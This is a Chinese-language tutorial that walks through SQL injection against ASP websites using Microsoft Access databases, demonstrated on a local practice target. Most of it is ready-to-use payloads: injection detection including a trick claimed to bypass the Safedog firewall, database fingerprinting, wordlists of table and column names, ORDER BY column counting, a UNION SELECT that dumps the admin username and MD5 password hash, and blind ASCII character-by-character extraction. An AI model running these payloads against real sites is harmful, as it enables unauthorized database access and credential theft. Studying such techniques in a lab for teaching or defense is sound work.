Access-简介
Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一
一般Access数据库用于asp、aspx脚本网站比较多一些,这是一个比较小型的数据库,Access是以文件形式存放于目录中
有(列名/字段)、表名、值,数据库后缀是*.mdb:

从上图可以知道:
1 2 3 4 5 | 表名:admin_user 列名/字段:admin 值:21232f297a57a5a743894a0e4a801fc3 |
Asp连接Access数据库代码
*.mdb格式
1 2 3 4 5 6 7 | <%
dim conn,connstr,db
db="Your.mdb"
Set conn = Server.CreateObject("ADODB.Connection")
connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)
conn.Open connstr
%>
|
*.accdb格式
1 2 3 4 5 6 7 8 | <%
dim conn,connstr,db
db="Your.accdb"
Set conn = Server.CreateObject("ADODB.Connection")
connstr="Provider=Microsoft.ACE.OLEDB.12.0;Data Source=" & Server.MapPath(db)
conn.Open connstr
%>
|
Access数据库注入原理
看一个网站有没有注入就是看看我们插入的字符有没有带入网站数据库中进行执行,执行就说明存在注入
漏洞靶场: http://127.0.0.1:99/
在URL后面*1,也就是id=31乘1,结果还是等于31对吧

所以页面返回正常!那么我在后面加一个-7: 因为数据库中只有id为:31、22、23、24、25、26的值:


可以看到在URL后面-7页面返回了是其他页面,说明它吧我们输入的值带入查询了!说明存在SQL注入
当然有些人判断是否存在注入是这样的:(当然你了解了原理,判断注入的方式都无所谓)
1 2 3 4 5 6 7 8 9 10 11 | and 1=1 返回正常 and 1=2 返回错误 存在上方条件即可判断存在SQL注入 但是我一般喜欢用:.0 和 .1来判断(过安全狗) .0 返回正常 .1 返回错误 |
有的时候你插入一些语句,网站页面前台不会回显任何信息,可以使用BurpSuite来查看回显信息!
判断数据库注入
为什么要判断是那种数据库?答:因为知道了数据库的类型就可以使用响应的SQL语法来进行注入攻击
1 2 3 4 5 | 判断是否为access数据库 and exsits(select * from msysobjects)>0 判断是否为sqlserver数据库and exsits(select * from sysobjects)>0 |
1 2 3 | 判断是否为access数据库 and exsits(select * from msysobjects)>0 |

可以看到页面回显:不能读取记录;在 'msysobjects' 上没有读取数据权限
说明存在msysobjects这个数据库名,Access数据库就存在这个数据库名!
判断数据库表名
1 2 | 联合查询是否有admin这个表名 and exists(select * from amdin) |

很显然,admin这个表不存在!
常见的表名有:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | admin admins admin_user admin_usr admin_msg admin_login user username manager msg_user msg_login useradmin ...等等 提示:一般Access数据库有个表名:news,不过没啥卵用 |
最后手工猜解出表名是:admin_user

判断数据库列名
刚刚手工猜解出表名是:admin_user,现在来根据表名来判断列名:
1 2 | 查询admin_user表名下是否有admin这个列 and exists(select admin from admin_user) |

说明admin_user表名下还是有admin这个列名的!
admin_user表名下还有一个id列名一个password列名!


常见的列名有:
1 2 3 4 5 6 7 8 9 10 11 12 | admin admin_user username password pass pwd users usr user_login user_name login_name ...等等 |
判断字段长度
1 2 3 | 必须小于等于字段的长度返回正常 order by [number] |
1 2 | order by 8 返回错误 |

1 2 | order by 7 返回正常 |

知道了它有7列,那么就可以进行联合查询
union联合查询
1 2 | 通过union联合查询admin_user这个表 union select 1,2,3,4,5,6,7 from admin_user |

可以看到,网站页面回显了几个数字:2、3、5!
爆出来的数字是非数字类型的列,因为方便爆出来账号密码!因为账号密码不是数字类型的,是字符型的!
这样我们就可以在这些列上来爆账号密码
1 2 | 使用union联合查询admin_user表下的admin、password列的字段内容 union select 1,admin,password,4,5,6,7 from admin_user |

得到用户名:admin
MD5加密后的密码:21232f297a57a5a743894a0e4a801fc3

MD5解密结果为:admin

知道账号密码直接登录到后台管理!
番外篇
通过ASCII码来判断:
1 2 3 | 判断admin_user表名下的admin列下的内容长度是否等于5个字符,返回正常说明长度就是5 and (select len(admin) from admin_user)=5 |

说明判断admin列名的长度是5!
1 2 3 | 判断admin_user表名下的password列下的内容长度是否等于32个字符,返回正常说明长度就是32 and (select len(password) from admin_user)=32 |

一般MD5加密后的无非就16和32位字符!
现在是判断出来管理员账号和密码的字符长度了!
接下来猜解出每一个字符了!
ASCII码的对照图

ASCII码猜解字符
1 2 3 4 5 | 这个语句的意思就是: 查询admin_user表下的admin列名的第个字符的第一列的ascii码是否大于100 and (select top 1 asc (mid(admin,1,1)) from admin_user)>100 |
因为admin列名的字段内容是admin!即第一个字符是a,而a的ASCII码是97!
那么就可以构造以下语句查询:
1 2 | 查询admin列名字段内容的第一个字符的第一列的ASCII码是否等于97,也就是a and (select top 1 asc (mid(admin,1,1)) from admin_user)=97 |

返回正常!说明第一个字符是a!
因为我们知道字段内容是admin,那么a的下一个字符就是是d,而d的ASCII码就是100:
那么就可以构造以下语句查询:
1 | and (select top 1 asc (mid(admin,2,1)) from admin_user)=100 |

返回正常!说明第二个字符的内容是d!
就是这样,一点点的判断然后爆出管理员的账号!也就是admin列名下的字段内容!
下面是爆password字段的内容:
因为之前我们知道了password的字段内容是:21232f297a57a5a743894a0e4a801fc3!
那么第一个字段内容就是2,下一个就是1,再下两个分别是2、3以此类推!
因为2的ASCII码是50,那么就构造语句如下:
1 | and (select top 1 asc (mid(password,1,1)) from admin_user)=50 |

返回正常!原理就是这样,以此类推下去慢慢猜解出来就好了,sqlmap就是采用这种方式来猜解字段内容的!










